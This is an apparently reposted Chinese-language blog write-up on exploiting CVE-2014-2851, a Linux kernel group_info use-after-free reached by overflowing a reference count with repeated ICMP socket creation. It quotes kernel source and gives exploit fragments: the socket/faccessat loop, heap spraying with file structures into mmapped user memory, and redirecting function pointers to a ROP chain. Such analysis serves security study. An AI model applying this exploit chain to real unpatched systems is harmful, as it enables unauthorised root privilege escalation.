>Linux内核group_info UAF漏洞利用(CVE-2014-2851) | 安全盒子 | xxx>Linux内核group_info UAF漏洞利用(CVE-2014-2851) | 安全盒子 – xxx
菜单

>Linux内核group_info UAF漏洞利用(CVE-2014-2851) | 安全盒子

九月 3, 2018 - 安全盒子

简介

本案例研究 CVE-2014-2851 漏洞,其影响 Linux 内核直到3.14.1版本。首先,我非常感谢Thomas的帮助,他给出了最初的分析PoC

这个漏洞不是很实用(它需要一段时来溢出一个32位的整数),但是从开发的角度来看,这是一个有趣的漏洞。在我们测试的系统上,为了得到 # 花去了超过50分钟时间。由于 RCU 回调的一些不测预测使得其利用非常困难。

我们的测试系统为32位 Ubuntu 14.04 LTS (3.13.0-24-generic kernel) SMP。下面我们首先描述这个漏洞及其利用,之后我们会讨论其利用中存在的困难点。

漏洞

下面是存在漏洞的地方,用于创建 ICMP 套接字。注意虽然标准用户(在大多数的发行版中)不允许创建 ICMP 套接字,但无需 root 权限也可以访问到存在漏洞的部分:

1
2
3
4
5
6
7
8
9
10
11
12
int ping_init_sock(struct sock *sk)
{
struct net *net = sock_net(sk);
kgid_t group = current_egid();
struct group_info *group_info = get_current_groups(); [1]
int i, j, count = group_info->ngroups;
kgid_t low, high;

inet_get_ping_group_range_net(net, &low, &high);
if (gid_lte(low, group) && gid_lte(group, high)) [2]
return 0;

当在用户空间创建一个 ICMP socket后,会到达下列路径(特别是[1]):

1
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

[1]中的函数

1
get_current_groups()

1
include/linux/cred.h

中定义的宏:

1
2
3
4
5
6
7
8
#define get_current_groups() /
({ /
struct group_info *__groups; /
const struct cred *__cred; /
__cred = current_cred(); /
__groups = get_group_info(__cred->group_info); / [3]
__groups; /
})

[3]中的

1
get_group_info()

函数有一个用于统计使用量的原子类型增量

1
group_info

,其定义为一个整数类型:

1
2
3
4
5
6
7
8
9
10
11
type = struct group_info {
atomic_t usage;
int ngroups;
int nblocks;
kgid_t small_block[32];
kgid_t *blocks[];
}

typedef struct {
int counter;
} atomic_t;

每当一个新的 ICMP 套接字被创建,这个计数器就会增加 1 在[1]中。然而,对于普通用户,[2] 中的检测会失败(返回0)。因此,这个使用量在退出时永远不会减少。我们可以通过反复创建新的 ICMP 套接字来溢出这个有符号整数(0xffffffff + 1 = 0)。

结构体

1
group_info

是与其 fork 出的子进程所共享的。当其中计数器值变为0后,内核有很多种方法可以释放它。其中一种方法就是由 Thomas 发现的使用

1
faccessat()

系统函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
SYSCALL_DEFINE3(faccessat, int, dfd, const char __user *, filename, int, mode)
{
const struct cred *old_cred;
struct cred *override_cred;
int res;

override_cred = prepare_creds(); [4]

out:
revert_creds(old_cred);
put_cred(override_cred); [5]
return res;

在 [4]中,一个新的结构体被分配,其内的计数器(不要跟

1
group_info->usage

混淆)被置为1并且

1
group_info->usage

也递增了1。这时[5]中的

1
put_cred

会将

1
cred->usage

值递减并调用

1
__put_cred()

1
2
3
4
5
6
7
8
static inline void put_cred(const struct cred *_cred)
{
struct cred *cred = (struct cred *) _cred;

validate_creds(cred);
if (atomic_dec_and_test(&(cred)->usage))
__put_cred(cred);
}

最重要的部分就是利用 RCU [6]释放

1
cred

结构体:

1
2
3
4
5
6
7
8
9
void __put_cred(struct cred *cred)
{

BUG_ON(cred == current->cred);
BUG_ON(cred == current->real_cred);

call_rcu(&cred->rcu, put_cred_rcu); [6]
}
EXPORT_SYMBOL(__put_cred);

下面显示的是

1
put_cred_rcu

回调函数,当计数器变为0时其调用[7]中的

1
put_group_info()

来释放

1
group_info

结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void put_cred_rcu(struct rcu_head *rcu)
{
struct cred *cred = container_of(rcu, struct cred, rcu);


security_cred_free(cred);
key_put(cred->session_keyring);
key_put(cred->process_keyring);
key_put(cred->thread_keyring);
key_put(cred->request_key_auth);
if (cred->group_info)
put_group_info(cred->group_info); [7]
free_uid(cred->user);
put_user_ns(cred->user_ns);
kmem_cache_free(cred_jar, cred);
}

1
put_group_info()

函数为宏定义,用于递减

1
group_info

的计数器并且在计数值为0时释放这个结构体:

1
2
3
4
5
#define put_group_info(group_info) /
do { /
if (atomic_dec_and_test(&(group_info)->usage)) /
groups_free(group_info); /
} while (0)

利用

很显然我们可以通过溢出计数器为0让

1
group_info

结构体被释放,然后在用户空间调用

1
faccessat()

1
2
3
4
5
6
7
8
9
10
// increment the counter close to 0xffffffff (-10 = 0xfffffff6)
for (i = 0; i < -10; i++) {
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
}

// increment the counter by 1 and try to free it
for (i = 0; i < 100; i++) {
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
faccessat(0, "/", R_OK, AT_EACCESS);
}

上面的代码可以溢出计数器并释放

1
group_info

结构体。释放这个结构体是通过调用 RCU 系统回调完成的,这里会存在一些不可预测问题,随后我们会再“挑战”章节中进行讨论。

一旦

1
group_info

结构被释放,SLUB 分配器会将其地址保存到 freelist 中。网上有很多资料讲述 SLUB 分配器,这里我们就不在详述。但我们知道当一个对象被释放后,会将其放入 freelist 并且前四个字节(32-bit)会被一个指向下一块空闲对象的指针所覆盖。因此

1
group_info

前四个字节会被一个有效的内核存储地址所覆盖。而原先的前四个字节为计数器,所以我们可以通过继续建立 ICMP 套接字来增加这个值。

1
group_info

会被释放后可能会出现两种情况:

1
2
1.它是 freelist 的最后一个对象
2.它是 freelist 中的一个空闲对象

前一种情况下,

1
group_info

中指向下一个空闲对象的指针会被置为 NULL。我们主要关注后一种情况,指针会指向 slab 中下一个空闲对象(这也是最常见的情况)。

在我们测试的系统中,

1
group_info

结构体总计 140 比特长,分配在

1
kmalloc-192

缓存中。当收到一个请求分配 128-192 比特的对象(通过kmalloc,kmem_cache_alloc 等等)时,SLUB 分配器会查看 freelist 并分配我们计数器被覆盖后指针指向的地址。

我们可以通过反复增加计数值使其溢出并使用 mmap来使得指针指向用户区域。举个例子,给定一个内核地址 0xf3XXXXXX 增加 0xfffffff 后就到了用户区域 0x3XXXXXX 。

总的来说,利用的过程如下:

1.通过创建 ICMP 套接字增加

1
group_info

计数器接近 0xffffffff

2.反复尝试每次让计数器增加1,然后通过调用

1
faccessat()

释放

1
group_info

3.一旦成功释放,

1
group_info

中的计数器会被覆盖为指向 slab 中下一块空闲区域的指针

4.通过创建更多的 ICMP 套接字来继续增加

1
group_info

的计数器,直到其指向用户区域的内存空间

5.记录用户空间的这块区域(例如 0×3000000-0×4000000)并使用 memset 将其置为0

6.请求在内核空间分配一个大小为 128-192 比特的结构 X (理想情况下包含函数指针)

7.SLUB 分配器会分配结构 X 到我们的用户空间地址 0×3000000-0×4000000

8.如果结构 X 包含任何函数指针,我们就可以指向我们的 payload 了(我们案例中是ROP链)

我们使用的结构 X 利用为文件结构,具有跟

1
group_info

相同的大小并且包含一些函数指针(例如:文件操作

1
*f_op

)。分配这个文件结构可以通过以下示例代码:

1
2
for (i = 0; i < N; i++)
fd = open("/etc/passwd", O_RDONLY);

如果要求文件必须至少分配 1024,那么可以 fork 其他进程继续分配更多的文件结构。

一旦这个文件结构分配到我们的用户空间 0×3000000-0×4000000,我们可以简单的搜索这块区域中非0比特。下面是我们文件结构的开始部分:

1
2
3
4
5
6
7
8
9
10
unsigned *p;
struct file *f = NULL;

// find the file struct
for (p = 0x3000000; p < 0x4000000; p++) {
if (*p) {
f = (struct file *)p;
break;
}
}

从这一点上面看,这一系列的利用操作很普通。

挑战

正如上一章里面所说的,RCU 回调可能会造成一些无法预知的情况。例如,

1
faccessat()

跟随的

1
ping_init_sock()

再循环中可能不会执行。很显然我们希望按如下执行:

1.增加

1
group_info

中的计数器

2.如果计数器值为0则通过

1
faccessat()

释放

然而,RCU 回调往往是积累在一起然后批量处理的。回调函数只有在系统中的至少一个 CPU 标记为“空闲”状态才会执行(例如:上下文切换,idle循环等等)。因此,经常会出现大量的

1
ping_init_sock

同时被执行(溢出了计数器并使其值>0),跟随着一系列的

1
put_cred_rcu()

RCU 回调。出现这种情况时释放

1
group_info

的步骤就会被跳过。不过,我们已经找到了一种方法可以控制计数增加并检查。

另一个问题出现在与漏洞利用相关的恢复阶段。如果另一个对象同时从相同的 slab 发来请求怎么办?对于这种情况,我们可以将我们对象中指向下一个 freelist 的指针置为 NULL。这样分配器就会将 freelist指针置为NULL,反过来说,这会强迫分配器创建一个新的 slab 并且“忘记”我们当前的 slab。

现在,如果一些属于我们当前使用 slab 的对象被释放了怎么办?这就提出了一个真正的挑战,我们可以在利用后通过 LKM 修复系统来解决。

总结

在实用性方面,这个漏洞可能不太理想,因为它需要一段时间来溢出一个32位的计数器。在我们的测试系统上,整个利用时间花费了超过50分钟。然而,一旦当

1
group_info

被释放其利用还是比较可靠的(即使在多处理平台下)。


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51